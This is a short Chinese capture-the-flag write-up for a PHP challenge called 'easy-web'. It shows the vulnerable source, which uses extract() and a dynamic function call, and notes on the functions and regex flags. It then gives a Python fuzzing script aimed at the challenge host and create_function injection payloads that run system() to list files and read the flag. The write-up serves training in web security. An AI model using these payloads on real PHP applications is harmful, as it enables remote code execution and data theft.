easy-web
源代码
源代码贴上,如下:
<?php
show_source(__FILE__);
$key = "bad";
extract($_POST);
if($key === 'bad'){
die('badbad!!!');
}
$act = @$_GET['act'];
$arg = @$_GET['arg'];
if(preg_match('/^[a-z0-9_]*$/isD',$act)) {
echo 'check';
} else {
$act($arg,'');
}
echo '666';
badbad!!!
函数
函数名 | 描述 |
---|---|
show_source() highlight_file() | 语法高亮 |
extract() | 从数组中将变量导入到当前的符号表。 使用数组键名作为变量名,使用数组键值作为变量值。 针对数组中的每个元素,将在当前符号表中创建对应的一个变量。 该函数返回成功设置的变量数目。 |
正则表达式
pattern | 描述 |
---|---|
/i | 不区分大小写 |
/s | 匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v] |
/D | 如果使用$限制结尾字符,则不允许结尾有换行 |
绕过
fuzz
import requests
data={'key':123}#任意post一个key
for i in range(1,256):
h=hex(i)[2:]
if len(h)<2:
h='0'+h
h='%'+h
url='http://447-9fedb10a-22a3-46e0-a47a-06f5fd752e54.xmctf.top:8849/?act='+h+'var_dump&arg=111'
r=requests.post(url,data=data)
if '111' in r.text:
print(h)
break
create_function()
使用匿名函数来饶过正则表达式
payload
# 原始
act=\create_function&arg=){}要执行的代码;//
# 列出当前目录下的文件
act=\create_function&arg=){return 123;}system('ls .../');//
# 查看flag
act=\create_function&arg=){return 123;}system('cat /ffflll4g');//